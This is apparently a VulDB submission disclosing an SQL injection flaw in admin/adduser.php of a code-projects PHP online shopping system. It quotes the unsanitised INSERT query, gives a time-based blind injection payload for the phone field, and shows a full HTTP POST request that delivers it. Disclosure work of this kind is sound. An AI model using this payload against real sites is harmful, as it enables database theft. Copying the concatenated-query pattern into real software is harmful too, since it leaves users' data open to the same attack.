Invia #895253: ONLINE SHOPPING SYSTEM admin/adduser.php SQL Injection Vulnerability v1 SQL Injection

ONLINE SHOPPING SYSTEM admin/adduser.php SQL Injection Vulnerability
I. Vulnerability Impact
An attacker with admin access can exploit this vulnerability to inject malicious SQL through the user creation form, enabling data extraction from the database via error-based or time-based blind injection. Combined with session hijacking, this can lead to full database compromise.

II. Source Code Analysis
The vulnerability resides in admin/adduser.php, line 18:

mysqli_query($con,"insert into user_info(first_name, last_name,email,password,mobile,address1,address2)
values ('$first_name','$last_name','$email','$user_password','$mobile','$address1','$address2')")
or die ("Query 1 is inncorrect........");
All seven parameters (first_name, last_name, email, password, mobile, address1, address2) are taken directly from $_POST without any filtering and concatenated into the INSERT statement. The $mobile parameter (phone field) in particular is vulnerable to SQL injection via the same technique used in other endpoints.

III. Payload
The core injection payload targeting the phone parameter:

123123'and(select*from(select+sleep(10))a/**/union/**/select+1)='
After injection, the actual executed SQL becomes:

insert into user_info(...) values ('1','1','[email protected]','11','123123'and(select*from(select+sleep(10))a/**/union/**/select+1)='','1','1')
HTTP request:

POST /admin/adduser.php HTTP/1.1
Host: onlineshop
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryHe9lEZ9i8GyyWBBh
Cookie: PHPSESSID=ol422um54c9e387qhla8o63ril

------WebKitFormBoundaryHe9lEZ9i8GyyWBBh
Content-Disposition: form-data; name="phone"

123123'and(select*from(select+sleep(10))a/**/union/**/select+1)='
------WebKitFormBoundaryHe9lEZ9i8GyyWBBh--
IV. Source Download
https://code-projects.org/online-shopping-system-in-php-with-source-code/

• Fonte: ⚠️ https://github.com/zzzxc643/CVE1/blob/main/online-shopping-system/vul8.md
• Utente: SSL_Seven_Security Lab_WangZhiQiang_XiaoZiLong (UID 38936)
• Sottomissione: 19/07/2026 02:55 (2 mesi fa)
• Moderazione: 04/09/2026 14:34 (2 months later)
• Stato: Accettato
• Voce VulDB: 398789 [code-projects Online Shopping System 1.0 admin/adduser.php mysqli_query mobile iniezione SQL]
• Punti: 20